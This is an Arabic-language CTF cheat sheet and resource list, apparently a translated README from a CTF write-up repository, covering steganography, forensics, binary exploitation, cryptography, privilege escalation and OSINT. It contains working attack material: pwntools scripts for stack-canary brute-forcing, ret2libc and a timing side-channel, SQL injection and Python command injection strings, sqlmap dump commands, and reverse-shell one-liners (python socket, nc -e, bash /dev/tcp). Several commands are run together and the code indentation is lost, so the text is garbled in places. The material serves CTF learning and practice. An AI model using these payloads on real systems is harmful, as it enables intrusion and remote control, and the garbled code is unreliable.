
ورقة غش CTF + كتابات / ملفات لبعض مسابقات CTF الأمنية التي قمت بها
كتابة التقارير / الملفات لبعض مسابقات CTF السيبرانية التي قمت بها
لقد أدرجت أيضًا قائمة بموارد CTF بالإضافة إلى ورقة غش شاملة تغطي الكثير من تحديات CTF الشائعة
[!NOTE] يوجد الآن مرآة ويب لهذا المستودع على hackback.zip
إليك بعض الشرائح التي أعددتها: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf.file <file.xyz>steghide extract -sf <file.xyz>stegseek <file> <password list>binwalk -M --dd=".*" <file.xyz>exiftool <file.xyz>strings <file.xyz>hexedit <file.xyz>صوت جهاز الفاكس:
صوت SSTV (تلفزيون المسح البطيء) (أشياء القمر)

صورة الطيف الصوتي
تغيير الطبقة والسرعة والاتجاه...
أزرار الهاتف DTMF (التردد المزدوج متعدد النغمات)
multimon-ng -a DTMF -t wav <file.wav>
شريط كاسيت
شفرة مورس
تحقق مما إذا كان شيء ما معدلاً بالفوتوشوب (انظر إلى الإبرازات)
pngcheck
photorec <file.bin>.img:
binwalk -M --dd=".*" <fileName>file على المخرجات واختر ملف نظام لينكسlosetup /dev/loop<freeLoopNumber> <fileSystemFile>tcpflow -r <file.pcap>checksec <binary>rabin2 -I <binary>binary-security-check <bin>.exeseccomp-tools dump ./<binary>readelf -s <binary>rabin2 -z <binary>python -c "import pwn; print(pwn.p32(<intAddr>))python -c "import pwn; print(pwn.p64(<intAddr>))( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>process.interactive()pwn cyclic <numChars> لتوليد الحمولةdmesg | tail | grep segfault لرؤية مكان الخطأpwn cyclic -l 0x<errorLocation> لرؤية الإزاحة العشوائية للتحكم في مؤشر التعليماتROPgadget --ropchain --binary <binary>
gs أو fs (لـ 32 بت و64 بت على التوالي)
- هنا، يتم نقل حارس المكدس إلى `rax` عند الإزاحة +8.
- لذا، قم بالتوقف عند الإزاحة التالية وتحقق مما في rax (`i r rax`) لمعرفة قيمة الحارس الحالية
**الحراس الثابتون**
- يكون الحارس ثابتًا فقط إذا تم تنفيذه يدويًا من قبل المبرمج (وهو الحال في بعض تحديات pwn التمهيدية)، أو إذا كنت قادرًا على إنشاء فرع (fork) للبرنامج.
- عندما تقوم بإنشاء فرع للبرنامج الثنائي، فإن النسخة المفرعة لها نفس الحارس، لذا يمكنك القيام بهجوم bruteforce بايت ببايت على ذلك
**إضافات**
- عندما يتم الكتابة فوق حارس المكدس بشكل غير صحيح، فإنه يتسبب في استدعاء `__stack_chk_fail`
- إذا لم نتمكن من تسريب الحارس، يمكننا أيضًا تعديل جدول GOT لمنع استدعائه
- يتم تخزين الحارس في بنية `TLS` للمكدس الحالي ويتم تهيئته بواسطة `security_init`
- إذا كنت تستطيع الكتابة فوق قيمة الحارس الحقيقية، يمكنك تعيينها مساوية لأي قيمة تقرر تجاوزها.
- نص بسيط لـ bruteforce حارس ثابت بطول 4 بايت:```python
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
%1$s - سيؤدي هذا إلى طباعة القيمة الأولى في المكدس (على حد فهمي، القيمة المجاورة للمخزن المؤقت الخاص بك) كسلسلة.%2$s - سيؤدي هذا إلى طباعة القيمة الثانية كسلسلة، وهكذا دواليكfor i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done%hhx يسرب 1 بايت (نصف نصف حجم int)%hx يسرب 2 بايت (نصف حجم int)%x يسرب 4 بايت (حجم int)%lx يسرب 8 بايت (حجم long)سنقوم بالكتابة فوق EIP لاستدعاء دالة المكتبة system() وسنمرر أيضًا ما يجب تنفيذه، في هذا المثال مخزن مؤقت يحتوي على "/bin/sh"
شرح جيد:
مثال جيد (اذهب إلى 3:22:44):
الحصول على عنوان execve("/bin/sh")
one_gadget <libc file>إذا كنت تعرف بالفعل ملف libc وموقعه (أي لا تحتاج إلى تسريبهما...)```python #!/bin/python3
from pwn import * import os
binaryName = 'ret2libc1'
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]
libc_execve_address = one_gadget_libc_execve_out[1]
p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)
printf_loc = int(p.recvuntil('\n').rstrip(), 16)
printf_libc = l.sym['printf']
libc_base_address = printf_loc - printf_libc
offset = 0x17
payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)
p.sendline(payload)
p.interactive()
## الهندسة العكسية
> دليل رائع: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
- [Ghidra](https://ghidra-sre.org/)
- مفكك شفرات مفيد جداً
- dotPeek أو dnSpy
- فك تجميع ملفات .NET التنفيذية
- [jadx](https://github.com/skylot/jadx) و jadx-gui
- فك تجميع ملفات apk
- [devtoolzone](https://devtoolzone.com/decompiler/java)
- فك تجميع جافا عبر الإنترنت
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
- مفكك شفرات جافا متقدم يعمل في الطرفية
- apktool
- فك تجميع ملفات apk
- `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
- تحليل الملفات الثنائية
- [peda](https://github.com/longld/peda) (إضافة لزيادة الوظائف)
- [gef](https://github.com/hugsy/gef) (إضافة gdb لمحترفي الثغرات)
- [radare2](https://github.com/radareorg/radare2)
- تحليل الملفات الثنائية
- [FLOSS](https://github.com/mandiant/flare-floss)
- `strings` محسّنة. يستخدم التحليل الثابت لإيجاد وحساب السلاسل النصية
#### حلالات SMT
- [angr](https://github.com/angr/angr) (بايثون)
- [الوثائق](https://docs.angr.io/core-concepts/toplevel)
- [دروس](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
- [دروس](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
#### فحص بايت-ببايت عكسي (هجوم القناة الجانبية)
[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
- هذه نسخة صممتها لتحدٍ يستخدم هجومًا زمنيًا:
- قد تضطر لتشغيلها عدة مرات لمراعاة العشوائية```python
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
grep <string> وسيظهر لك (gef) تلقائيًا السلسلة المطابقة لنمط البحث الخاص بكwpscan --url <site> --plugins-detection mixed -e مع مفتاح API للحصول على أفضل النتائجecho <token> > jwt.txtjohn jwt.txtsqlmap --forms --dump-all -u <url>ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all-fs لفلترة الحجومcipherText = "" plainText = "" flagCipherText = "" tableFile = ""
with open(cipherText) as fin: cipher = fin.readline().rstrip()
with open(plainText) as fin: plain = fin.readline().rstrip()
with open(flagCipherText) as fin: flag = fin.readline().rstrip()
with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]
table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break
print(key)
dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break
print(dec_flag)
- [Substitution Cipher](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Keyed Caesars cipher](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)
### RSA
#### احصل على معلومات RSA باستخدام pycryptodome```python
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
استخدم هذا عندما تتمكن من تحليل العدد n
قديم```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m
p = q = e = c =
n = p*q # use factordb command or website to find factors
phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv(e, phi) # private key
m = pow(c,d,n) # decrypted plaintext message in long integer form
thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))
- جديد```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
phi = 1
for i in factors:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
يُستخدم عادةً إذا كان الأُس صغيرًا جدًا (e <= 5)
if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1
c = e =
plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))
#### هجوم بولارد (n,e,c)
- يعتمد على [طريقة تحليل بولارد](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf)، والتي تجعل نواتج الأعداد الأولية [سهلة التحليل](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) إذا كانت (B)ناعمة
- تكون هذه هي الحالة إذا كان `p-1 | B!` و `q - 1` يحتوي على عامل > `B````python
from Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
n = e = c =
d = owiener.attack(e, n) m = pow(c, d, n)
flag = long_to_bytes(m) print(flag)
### Base16, 32, 36, 58, 64, 85, 91, 92
[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
## الصندوق
### الاتصال
- ssh
- `ssh <username>@<ip>`
- `ssh <username>@<ip> -i <private key file>`
- تثبيت SSH كنظام ملفات محليًا:
- `sshfs -p <port> <user>@<ip>: <mount_directory>`
- الأجهزة المعروفة
- `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
- `nc <ip> <port>`
### التعداد
- اكتشاف الأجهزة
- `netdiscover`
- مسح المنافذ للجهاز
- `nmap -sC -sV <ip>`
- تعداد لينكس
- `enum4linux <ip>`
- تعداد SMB
- `smbmap -H <ip>`
- الاتصال بمشاركة SMB
- `smbclient //<ip>/<share>`
### تصعيد الصلاحيات
- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
- `./linpeas.sh`
- يبحث تلقائيًا عن نواقل تصعيد الصلاحيات
- سرد الأوامر التي يمكننا تشغيلها كجذر
- `sudo -l`
- العثور على الملفات التي لديها صلاحية SUID
- `find / -perm -u=s -type f 2>/dev/null`
- هذه الملفات تُنفذ بصلاحيات المالك بدلاً من المستخدم الذي ينفذها
- العثور على صلاحيات جميع الخدمات
- `accesschk.exe -uwcqv *`
- ابحث عن الخدمات غير الخاضعة لحسابات النظام أو المسؤول
- استعلام الخدمة
- `sc qc <service name>`
- يعمل فقط في cmd.exe
### الاستماع لشل عكسي
- `nc -lnvp <port>`
### شل عكسي
- revshells.com
- قوالب لكل ما قد تحتاجه تقريبًا
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`
### الحصول على شل تفاعلي
#### لينكس
1. نفّذ أمر بايثون التالي لجعله تفاعليًا جزئيًا: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. اخرج من جلسة netcat باستخدام `CTRL+Z` وشغّل `stty raw -echo` محليًا
3. أعد الدخول إلى الجلسة باستخدام الأمر `fg` (ومعرف المهمة بعده إذا لزم الأمر)
4. غيّر محاكي الطرفية إلى xterm عن طريق تشغيل `export TERM=xterm` (قد لا يكون ذلك ضروريًا)
5. غيّر شل الخاص بك إلى bash عن طريق تشغيل `export SHELL=bash` (قد لا يكون ذلك ضروريًا)
6. تم! الآن يجب أن يكون شل الخاص بك تفاعليًا بالكامل
#### ويندوز / عام
1. ثبّت `rlwrap` على نظامك
2. الآن، في كل مرة تشغّل فيها مستمع nc، ضع `rlwrap` في المقدمة
3. على سبيل المثال: `rlwrap nc -lvnp 1337`
* سيعطيك هذا مفاتيح الأسهم وسجل الأوامر، لكنه لن يعطيك الإكمال التلقائي (على حد علمي) لأنظمة ويندوز و*nix
## OSINT
- [pimeyes](https://pimeyes.com/en)
- بحث عكسي عن الوجوه على الإنترنت
- [OSINT Framework](https://osintframework.com/)
- موقع يجمّع الكثير من أدوات OSINT
- [GeoSpy AI](https://geospy.ai)
- LLM رؤية جغرافية مكانية يمكنها تقدير الموقع فقط من الصورة
- [overpass turbo](https://overpass-turbo.eu)
- موقع يسمح لك بالاستعلام عن واجهة برمجة تطبيقات OpenStreetMap وتصور النتائج
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
- موقع يسمح لك بالاستعلام بسهولة عن واجهة برمجة تطبيقات OSM
## متنوع
- حل أخطاء DNS
- `dig <site> <recordType>`
- [قائمة أنواع السجلات](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
- تأكد من تجربة TXT
- تشغيل ثنائي بمعمارية مختلفة
- 64 بت:
- `linux64 ./<binary>`
- 32 بت:
- `linux32 ./<binary>`
- استخراج ماكروات MS:
- [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- عرض CNC GCode
- [https://ncviewer.com/](https://ncviewer.com/)
ghex <file.xyz>unzip <file.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<file>ltrace -s 100 ./<file>
'OR 1=1-- في نموذج تسجيل الدخولSELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''1=1 تم تقييمها إلى true، مما يحقق شرط OR، ويتم تعليق باقي الاستعلام بواسطة --__import__.('subprocess').getoutput('<command>')
__import__.('subprocess').getoutput('ls').split('\\n')